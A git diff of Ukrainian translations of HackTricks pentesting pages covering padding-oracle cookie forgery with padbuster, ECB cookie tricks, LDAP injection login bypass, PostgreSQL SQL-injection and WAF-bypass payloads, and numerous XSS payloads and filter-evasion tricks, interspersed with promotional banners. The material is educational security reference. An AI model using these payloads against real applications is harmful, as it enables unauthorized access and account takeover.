Якщо атака була успішно виконана, ви можете спробувати зашифрувати рядок на ваш вибір. Наприклад, якщо ви хочете **зашифрувати** **user=administrator**
|
||||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
Це виконання надасть вам cookie, правильно зашифрований та закодований зі строкою **user=administrator** всередині.
|
||||
Це виконання надасть вам cookie, правильно зашифрований і закодований зі строкою **user=administrator** всередині.
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
|
@ -255,7 +255,7 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
|
|||
|
||||
Створіть користувача, наприклад, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" і перевірте, чи є якийсь шаблон у cookie (оскільки ECB шифрує з одним і тим же ключем кожен блок, ті ж зашифровані байти можуть з'явитися, якщо ім'я користувача зашифровано).
|
||||
|
||||
Має бути шаблон (з розміром використаного блоку). Отже, знаючи, як зашифровано купу "a", ви можете створити ім'я користувача: "a"\*(розмір блоку)+"admin". Тоді ви могли б видалити зашифрований шаблон блоку "a" з cookie. І у вас буде cookie імені користувача "admin".
|
||||
Повинен бути шаблон (з розміром використаного блоку). Отже, знаючи, як зашифровано купу "a", ви можете створити ім'я користувача: "a"\*(розмір блоку)+"admin". Тоді ви могли б видалити зашифрований шаблон блоку "a" з cookie. І у вас буде cookie імені користувача "admin".
|
||||
|
||||
## Посилання
|
||||
|
||||
|
|
|
@ -3,23 +3,23 @@
|
|||
## LDAP Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вивчайте та практикуйте Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -33,7 +33,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**LDAP Injection** - це атака, що націлена на веб-додатки, які формують LDAP-запити з введення користувача. Вона відбувається, коли додаток **неправильно очищає** введення, що дозволяє зловмисникам **маніпулювати LDAP-запитами** через локальний проксі, що може призвести до несанкціонованого доступу або маніпуляції даними.
|
||||
**LDAP Injection** - це атака, що націлена на веб-додатки, які формують LDAP запити з введення користувача. Вона відбувається, коли додаток **не очищає належним чином** введення, що дозволяє зловмисникам **маніпулювати LDAP запитами** через локальний проксі, що потенційно може призвести до несанкціонованого доступу або маніпуляції даними.
|
||||
|
||||
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
|
||||
|
@ -53,17 +53,17 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
**(&)** = Absolute TRUE\
|
||||
**(|)** = Absolute FALSE
|
||||
|
||||
For example:\
|
||||
Наприклад:\
|
||||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||
`(&(objectClass=user)(uid=*))`
|
||||
|
||||
You can access to the database, and this can content information of a lot of different types.
|
||||
Ви можете отримати доступ до бази даних, і вона може містити інформацію різних типів.
|
||||
|
||||
**OpenLDAP**: Якщо надходять 2 фільтри, виконується лише перший.\
|
||||
**ADAM або Microsoft LDS**: З 2 фільтрами виникає помилка.\
|
||||
**SunOne Directory Server 5.0**: Виконує обидва фільтри.
|
||||
|
||||
**Дуже важливо надіслати фільтр з правильною синтаксисом, інакше виникне помилка. Краще надіслати лише 1 фільтр.**
|
||||
**Дуже важливо надсилати фільтр з правильною синтаксисом, інакше виникне помилка. Краще надсилати лише 1 фільтр.**
|
||||
|
||||
Фільтр має починатися з: `&` або `|`\
|
||||
Приклад: `(&(directory=val1)(folder=public))`
|
||||
|
@ -75,7 +75,7 @@ You can access to the database, and this can content information of a lot of dif
|
|||
|
||||
### Login Bypass
|
||||
|
||||
LDAP підтримує кілька форматів для зберігання пароля: clear, md5, smd5, sh1, sha, crypt. Тому може бути так, що незалежно від того, що ви введете в пароль, він буде захешований.
|
||||
LDAP підтримує кілька форматів для зберігання пароля: clear, md5, smd5, sh1, sha, crypt. Тому може бути так, що незалежно від того, що ви введете в пароль, воно буде захищене.
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
|
@ -224,23 +224,23 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** і хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вчіться та практикуйте AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,42 +15,42 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
If you are interested in **кар'єрі в хакерстві** and hack the unhackable - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
***
|
||||
|
||||
**Ця сторінка має на меті пояснити різні трюки, які можуть допомогти вам експлуатувати SQL-ін'єкцію, виявлену в базі даних postgresql, і доповнити трюки, які ви можете знайти на** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||
**Ця сторінка має на меті пояснити різні трюки, які можуть допомогти вам експлуатувати SQL-ін'єкцію, знайдену в базі даних postgresql, і доповнити трюки, які ви можете знайти на** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||
|
||||
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
|
||||
## Network Interaction - Підвищення привілеїв, Портовий сканер, Розкриття NTLM challenge response & Екстракція
|
||||
|
||||
**Модуль PostgreSQL `dblink`** пропонує можливості для підключення до інших екземплярів PostgreSQL та виконання TCP-з'єднань. Ці функції, в поєднанні з функціональністю `COPY FROM`, дозволяють виконувати дії, такі як ескалація привілеїв, сканування портів та захоплення відповіді на виклик NTLM. Для детальних методів виконання цих атак перевірте, як [виконати ці атаки](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
**Модуль PostgreSQL `dblink`** пропонує можливості для підключення до інших екземплярів PostgreSQL та виконання TCP-з'єднань. Ці функції, в поєднанні з функціональністю `COPY FROM`, дозволяють виконувати дії, такі як підвищення привілеїв, сканування портів та захоплення NTLM challenge response. Для детальних методів виконання цих атак перевірте, як [виконати ці атаки](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
|
||||
### **Приклад ексфільтрації за допомогою dblink та великих об'єктів**
|
||||
### **Приклад екстракції за допомогою dblink та великих об'єктів**
|
||||
|
||||
Ви можете [**прочитати цей приклад**](dblink-lo\_import-data-exfiltration.md), щоб побачити приклад CTF **як завантажити дані всередині великих об'єктів, а потім ексфільтрувати вміст великих об'єктів всередині імені користувача** функції `dblink_connect`.
|
||||
Ви можете [**прочитати цей приклад**](dblink-lo\_import-data-exfiltration.md), щоб побачити приклад CTF **як завантажити дані всередину великих об'єктів, а потім екстрагувати вміст великих об'єктів всередині імені користувача** функції `dblink_connect`.
|
||||
|
||||
## PostgreSQL Attacks: Read/write, RCE, privesc
|
||||
## PostgreSQL Атаки: Читання/запис, RCE, підвищення привілеїв
|
||||
|
||||
Перевірте, як скомпрометувати хост і ескалувати привілеї з PostgreSQL у:
|
||||
Перевірте, як скомпрометувати хост і підвищити привілеї з PostgreSQL у:
|
||||
|
||||
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %}
|
||||
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## WAF bypass
|
||||
## WAF обхід
|
||||
|
||||
### PostgreSQL String functions
|
||||
### Функції рядків PostgreSQL
|
||||
|
||||
Маніпулювання рядками може допомогти вам **обійти WAF або інші обмеження**.\
|
||||
[**На цій сторінці** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**ви можете знайти кілька корисних функцій рядків.**
|
||||
|
||||
### Stacked Queries
|
||||
### Складені запити
|
||||
|
||||
Пам'ятайте, що postgresql підтримує вкладені запити, але кілька додатків видадуть помилку, якщо буде повернено 2 відповіді, коли очікується лише 1. Але ви все ще можете зловживати вкладеними запитами через Time injection:
|
||||
Пам'ятайте, що postgresql підтримує складені запити, але кілька додатків видадуть помилку, якщо буде повернено 2 відповіді, коли очікується лише 1. Але ви все ще можете зловживати складеними запитами через Time injection:
|
||||
```
|
||||
id=1; select pg_sleep(10);-- -
|
||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||
|
@ -71,7 +71,7 @@ SELECT database_to_xml(true,true,'');
|
|||
```
|
||||
### Strings in Hex
|
||||
|
||||
Якщо ви можете виконувати **запити**, передаючи їх **всередині рядка** (наприклад, використовуючи функцію **`query_to_xml`**). **Ви можете використовувати convert\_from, щоб передати рядок у вигляді шістнадцяткового коду і обійти фільтри таким чином:**
|
||||
Якщо ви можете виконувати **запити**, передаючи їх **всередині рядка** (наприклад, використовуючи функцію **`query_to_xml`**). **Ви можете використовувати convert\_from, щоб передати рядок у вигляді шістнадцяткового коду і таким чином обійти фільтри:**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```sql
|
||||
|
@ -97,7 +97,7 @@ SELECT 'hacktricks';
|
|||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
@ -113,7 +113,7 @@ SELECT $TAG$hacktricks$TAG$;
|
|||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
@ -31,7 +31,7 @@
|
|||
4. Javascript **функція**, що **виконується**
|
||||
1. Ви можете вказати ім'я функції для виконання. наприклад: `?callback=alert(1)`
|
||||
4. Якщо **використовується**:
|
||||
1. Ви могли б експлуатувати **DOM XSS**, зверніть увагу, як контролюється ваше введення і чи **використовується ваше контрольоване введення будь-яким sink.**
|
||||
1. Ви могли б експлуатувати **DOM XSS**, зверніть увагу на те, як контролюється ваше введення і чи використовується ваше **контрольоване введення будь-яким sink.**
|
||||
|
||||
Коли ви працюєте над складним XSS, вам може бути цікаво дізнатися про:
|
||||
|
||||
|
@ -49,21 +49,21 @@
|
|||
|
||||
## Контексти
|
||||
|
||||
Коли ви намагаєтеся експлуатувати XSS, перше, що вам потрібно знати, це **де відображається ваше введення**. В залежності від контексту, ви зможете виконувати довільний JS код різними способами.
|
||||
Коли ви намагаєтеся експлуатувати XSS, перше, що вам потрібно знати, це **де відображається ваше введення**. В залежності від контексту, ви зможете виконати довільний JS код різними способами.
|
||||
|
||||
### Сирий HTML
|
||||
|
||||
Якщо ваше введення **відображається на сирій HTML** сторінці, вам потрібно буде зловживати деяким **HTML тегом**, щоб виконати JS код: `<img , <iframe , <svg , <script` ... це лише деякі з багатьох можливих HTML тегів, які ви могли б використовувати.\
|
||||
Також пам'ятайте про [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
Також, майте на увазі [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### Всередині атрибуту HTML тегу
|
||||
### Всередині атрибутів HTML тегів
|
||||
|
||||
Якщо ваше введення відображається всередині значення атрибуту тегу, ви могли б спробувати:
|
||||
Якщо ваше введення відображається всередині значення атрибута тегу, ви могли б спробувати:
|
||||
|
||||
1. **Втекти з атрибуту та з тегу** (тоді ви будете в сирому HTML) і створити новий HTML тег для зловживання: `"><img [...]`
|
||||
2. Якщо ви **можете втекти з атрибуту, але не з тегу** (`>` закодовано або видалено), в залежності від тегу ви могли б **створити подію**, яка виконує JS код: `" autofocus onfocus=alert(1) x="`
|
||||
3. Якщо ви **не можете втекти з атрибуту** (`"` закодовано або видалено), тоді в залежності від **якого атрибуту** ваше значення відображається, **якщо ви контролюєте все значення або лише частину**, ви зможете зловживати цим. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код, коли на неї натиснуть. Інший цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:`, щоб виконати довільний код: **`href="javascript:alert(1)"`**
|
||||
4. Якщо ваше введення відображається всередині "**незловживаних тегів**", ви могли б спробувати трюк з **`accesskey`**, щоб зловживати вразливістю (вам знадобиться певний вид соціальної інженерії для експлуатації цього): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
1. **Втекти з атрибута і з тегу** (тоді ви будете в сирому HTML) і створити новий HTML тег для зловживання: `"><img [...]`
|
||||
2. Якщо ви **можете втекти з атрибута, але не з тегу** (`>` закодовано або видалено), в залежності від тегу ви могли б **створити подію**, яка виконує JS код: `" autofocus onfocus=alert(1) x="`
|
||||
3. Якщо ви **не можете втекти з атрибута** (`"` закодовано або видалено), тоді в залежності від **якого атрибута** ваше значення відображається, **якщо ви контролюєте все значення або лише частину**, ви зможете зловживати цим. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код при натисканні. Інший цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:`, щоб виконати довільний код: **`href="javascript:alert(1)"`**
|
||||
4. Якщо ваше введення відображається всередині "**незловживаних тегів**", ви могли б спробувати трюк з **`accesskey`**, щоб зловживати вразливістю (вам знадобиться якийсь вид соціальної інженерії для експлуатації цього): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Дивний приклад Angular, що виконує XSS, якщо ви контролюєте ім'я класу:
|
||||
```html
|
||||
|
@ -100,7 +100,7 @@ Javascript Hoisting посилається на можливість **огол
|
|||
|
||||
Кілька веб-сторінок мають кінцеві точки, які **приймають як параметр ім'я функції для виконання**. Загальний приклад, який можна побачити в реальному житті, це щось на зразок: `?callback=callbackFunc`.
|
||||
|
||||
Добрий спосіб дізнатися, чи намагається виконати щось, що надано безпосередньо користувачем, це **змінити значення параметра** (наприклад, на 'Vulnerable') і подивитися в консолі на помилки, такі як:
|
||||
Хороший спосіб дізнатися, чи намагається щось, надане безпосередньо користувачем, бути виконаним, це **змінити значення параметра** (наприклад, на 'Vulnerable') і подивитися в консолі на помилки, такі як:
|
||||
|
||||
![](<../../.gitbook/assets/image (711).png>)
|
||||
|
||||
|
@ -138,7 +138,7 @@ parentElement
|
|||
|
||||
### **Універсальний XSS**
|
||||
|
||||
Ці види XSS можуть бути знайдені **де завгодно**. Вони залежать не лише від експлуатації клієнта веб-додатку, але й від **будь-якого** **контексту**. Ці види **довільного виконання JavaScript** можуть навіть бути використані для отримання **RCE**, **читання** **довільних** **файлів** на клієнтах і серверах, і більше.\
|
||||
Ці види XSS можуть бути знайдені **де завгодно**. Вони залежать не лише від експлуатації клієнта веб-додатку, а й від **будь-якого** **контексту**. Ці види **довільного виконання JavaScript** можуть навіть бути використані для отримання **RCE**, **читання** **довільних** **файлів** на клієнтах і серверах, і більше.\
|
||||
Деякі **приклади**:
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -165,12 +165,12 @@ _**Примітка: HTML-коментар може бути закритий з
|
|||
<img src=x onerror=alert(1) />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Але, якщо використовується чорний/білий список тегів/атрибутів, вам потрібно буде **вибрати, які теги** ви можете створити.\
|
||||
Коли ви **знайдете, які теги дозволені**, вам потрібно буде **вибрати атрибути/події** всередині знайдених дійсних тегів, щоб побачити, як ви можете атакувати контекст.
|
||||
Але, якщо використовується чорний/білий список тегів/атрибутів, вам потрібно буде **виконати брутфорс, які теги** ви можете створити.\
|
||||
Коли ви **знайдете, які теги дозволені**, вам потрібно буде **виконати брутфорс атрибутів/подій** всередині знайдених дійсних тегів, щоб побачити, як ви можете атакувати контекст.
|
||||
|
||||
### Вибір тегів/подій
|
||||
### Брутфорс тегів/подій
|
||||
|
||||
Перейдіть на [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) і натисніть на _**Скопіювати теги в буфер обміну**_. Потім надішліть їх усі за допомогою Burp intruder і перевірте, чи не було виявлено жодного тегу як шкідливого WAF. Коли ви виявите, які теги ви можете використовувати, ви можете **вибрати всі події** за допомогою дійсних тегів (на тій же веб-сторінці натисніть на _**Скопіювати події в буфер обміну**_ і дотримуйтесь тієї ж процедури, що й раніше).
|
||||
Перейдіть на [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) і натисніть на _**Скопіювати теги в буфер обміну**_. Потім надішліть їх усі за допомогою Burp intruder і перевірте, чи не було виявлено жодного тегу як шкідливий WAF. Коли ви виявите, які теги ви можете використовувати, ви можете **виконати брутфорс усіх подій** за допомогою дійсних тегів (на тій же веб-сторінці натисніть на _**Скопіювати події в буфер обміну**_ і дотримуйтесь тієї ж процедури, що й раніше).
|
||||
|
||||
### Користувацькі теги
|
||||
|
||||
|
@ -180,7 +180,7 @@ _**Примітка: HTML-коментар може бути закритий з
|
|||
```
|
||||
### Blacklist Bypasses
|
||||
|
||||
Якщо використовується якийсь вид чорного списку, ви можете спробувати обійти його за допомогою кількох дурних трюків:
|
||||
Якщо використовується якийсь вид чорного списку, ви можете спробувати обійти його за допомогою деяких дурних трюків:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
|
@ -251,7 +251,7 @@ onerror=alert`1`
|
|||
|
||||
### Неможливо - Dangling Markup
|
||||
|
||||
Якщо ви просто вважаєте, що **неможливо створити HTML-тег з атрибутом для виконання JS-коду**, вам слід перевірити [**Dangling Markup**](../dangling-markup-html-scriptless-injection/), оскільки ви можете **експлуатувати** вразливість **без** виконання **JS** коду.
|
||||
Якщо ви просто вважаєте, що **неможливо створити HTML-тег з атрибутом для виконання JS-коду**, вам слід перевірити [**Danglig Markup**](../dangling-markup-html-scriptless-injection/), оскільки ви можете **експлуатувати** вразливість **без** виконання **JS** коду.
|
||||
|
||||
## Впровадження всередині HTML-тегу
|
||||
|
||||
|
@ -275,7 +275,7 @@ onerror=alert`1`
|
|||
```
|
||||
### Всередині атрибута
|
||||
|
||||
Навіть якщо ви **не можете вийти з атрибута** (`"` кодується або видаляється), в залежності від **того, який атрибут** відображає ваше значення **якщо ви контролюєте все значення або лише частину** ви зможете це зловживати. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код, коли на неї натиснуть.\
|
||||
Навіть якщо ви **не можете вийти з атрибута** (`"` кодується або видаляється), в залежності від **того, в якому атрибуті** ваше значення відображається **якщо ви контролюєте все значення або лише частину** ви зможете це зловживати. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код, коли на неї натиснуть.\
|
||||
Ще один цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:` для виконання довільного коду: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Обхід всередині події за допомогою HTML кодування/URL кодування**
|
||||
|
@ -299,7 +299,7 @@ onerror=alert`1`
|
|||
<a href="javascript:alert(2)">a</a>
|
||||
<a href="javascript:alert(3)">a</a>
|
||||
```
|
||||
**Зверніть увагу, що URL кодування також буде працювати:**
|
||||
**Зверніть увагу, що кодування URL також буде працювати:**
|
||||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
|
@ -411,7 +411,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
```
|
||||
### XSS в "Неексплуатованих тегах" (прихований ввід, посилання, канонічний, мета)
|
||||
|
||||
З [**тут**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **тепер можливо зловживати прихованими ввідними даними з:**
|
||||
З [**тут**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **тепер можливо зловживати прихованими ввідними полями з:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||
|
@ -432,7 +432,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
|
||||
### Обхід чорного списку
|
||||
|
||||
Кілька трюків з використанням різного кодування вже були розкриті в цьому розділі. Поверніться **назад, щоб дізнатися, де ви можете використовувати:**
|
||||
Кілька трюків з використанням різного кодування вже були представлені в цьому розділі. Поверніться **назад, щоб дізнатися, де ви можете використовувати:**
|
||||
|
||||
* **HTML кодування (HTML теги)**
|
||||
* **Unicode кодування (може бути дійсним JS кодом):** `\u0061lert(1)`
|
||||
|
@ -452,7 +452,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
|
||||
Якщо ви знайшли **XSS у дуже маленькій частині** вебу, яка вимагає певної взаємодії (можливо, маленьке посилання в нижньому колонтитулі з елементом onmouseover), ви можете спробувати **модифікувати простір, який займає цей елемент**, щоб максимізувати ймовірність активації посилання.
|
||||
|
||||
Наприклад, ви могли б додати деяке стилювання в елемент, як: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
Наприклад, ви могли б додати деяке стилювання в елемент, наприклад: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Але, якщо WAF фільтрує атрибут стилю, ви можете використовувати CSS Стилізаційні Гаджети, тому, якщо ви знайдете, наприклад
|
||||
|
||||
|
@ -470,7 +470,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
|
||||
## Впровадження всередині JavaScript коду
|
||||
|
||||
У цих випадках ваш **вхід** буде **відображено всередині JS коду** файлу `.js` або між тегами `<script>...</script>` або між HTML подіями, які можуть виконувати JS код, або між атрибутами, які приймають протокол `javascript:`.
|
||||
